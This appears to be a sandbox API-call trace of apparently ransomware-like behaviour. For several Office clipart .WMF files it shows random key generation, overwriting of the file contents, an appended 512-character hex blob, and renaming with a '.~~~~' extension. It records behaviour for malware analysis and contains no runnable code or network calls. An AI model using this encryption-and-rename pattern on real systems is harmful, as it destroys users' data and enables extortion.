	[0090.804] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.804] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.804] CloseHandle (hObject=0x124) returned 1
	[0090.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1668
	[0090.805] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.~~~~")) returned 1
	[0090.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1668 | out: hHeap=0x300000) returned 1
	[0090.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.806] GetLastError () returned 0x0
	[0090.806] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0090.807] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.807] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.807] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21079744908) returned 1
	[0090.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fe735d0, dwHighDateTime=0x1d60e1e)) 
	[0090.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3819d0
	[0090.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3819d0 | out: hHeap=0x300000) returned 1
	[0090.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1668
	[0090.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871568
	[0090.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1668 | out: hHeap=0x300000) returned 1
	[0090.808] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.808] GetLastError () returned 0x0
	[0090.808] GetLastError () returned 0x0
	[0090.808] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.808] GetLastError () returned 0x0
	[0090.809] GetLastError () returned 0x0
	[0090.813] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff874, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.813] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x78c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x78c, lpOverlapped=0x0) returned 1
	[0090.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.814] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.814] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.814] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.814] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.814] CloseHandle (hObject=0x124) returned 1
	[0090.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0f30
	[0090.814] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.~~~~")) returned 1
	[0090.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.815] GetLastError () returned 0x0
	[0090.815] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39ffc0) returned 1
	[0090.817] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0090.817] CryptReleaseContext (hProv=0x39ffc0, dwFlags=0x0) returned 1
	[0090.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.817] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21080688340) returned 1
	[0090.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fe99730, dwHighDateTime=0x1d60e1e)) 
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381a40
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381a40 | out: hHeap=0x300000) returned 1
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0f30
	[0090.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871600
	[0090.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.817] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.818] GetLastError () returned 0x0
	[0090.818] GetLastError () returned 0x0
	[0090.818] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.818] GetLastError () returned 0x0
	[0090.818] GetLastError () returned 0x0
	[0090.823] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffd8f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.823] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2708, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x2708, lpOverlapped=0x0) returned 1
	[0090.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.824] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.824] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.824] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.824] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.824] CloseHandle (hObject=0x124) returned 1
	[0090.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0f30
	[0090.824] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.~~~~")) returned 1
	[0090.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.825] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.825] GetLastError () returned 0x0
	[0090.826] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0090.827] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.827] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.827] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21081716648) returned 1
	[0090.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fe99730, dwHighDateTime=0x1d60e1e)) 
	[0090.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381a78
	[0090.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381a78 | out: hHeap=0x300000) returned 1
	[0090.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0f30
	[0090.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871730
	[0090.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.828] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.828] GetLastError () returned 0x0
	[0090.828] GetLastError () returned 0x0
	[0090.828] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.828] GetLastError () returned 0x0
	[0090.829] GetLastError () returned 0x0
	[0090.831] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffaed0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.831] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x5130, lpOverlapped=0x0) returned 1
	[0090.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.842] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.843] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.843] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.843] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.843] CloseHandle (hObject=0x124) returned 1
	[0090.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0f30
	[0090.843] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.~~~~")) returned 1
	[0090.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.844] GetLastError () returned 0x0
	[0090.845] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0090.846] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.846] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.846] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21083614222) returned 1
	[0090.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9febf890, dwHighDateTime=0x1d60e1e)) 
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381ab0
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381ab0 | out: hHeap=0x300000) returned 1
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0f30
	[0090.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28717c8
	[0090.847] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.847] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.847] GetLastError () returned 0x0
	[0090.847] GetLastError () returned 0x0
	[0090.847] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.847] GetLastError () returned 0x0
	[0090.847] GetLastError () returned 0x0
	[0090.849] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff9ff4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.849] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x600c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x600c, lpOverlapped=0x0) returned 1
	[0090.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0090.850] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0090.850] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0090.850] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0090.850] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0090.850] CloseHandle (hObject=0x124) returned 1
	[0090.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0f30
	[0090.851] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.~~~~")) returned 1
	[0090.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0090.852] GetLastError () returned 0x0
	[0090.852] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0090.853] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0090.853] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0090.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0090.853] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21084299963) returned 1
	[0090.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9fee59f0, dwHighDateTime=0x1d60e1e)) 
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x381ae8
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0090.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x381ae8 | out: hHeap=0x300000) returned 1
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0090.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0f30
	[0090.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0090.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2871860
	[0090.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0f30 | out: hHeap=0x300000) returned 1
	[0090.853] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0090.854] GetLastError () returned 0x0
	[0090.854] GetLastError () returned 0x0
	[0090.854] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0090.854] GetLastError () returned 0x0
	[0090.854] GetLastError () returned 0x0
	[0090.856] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff74e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0090.856] WriteFile (in: hFile=0x124, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x8b2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x8b2, lpOverlapped=0x0) returned 1
	[0090.857] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
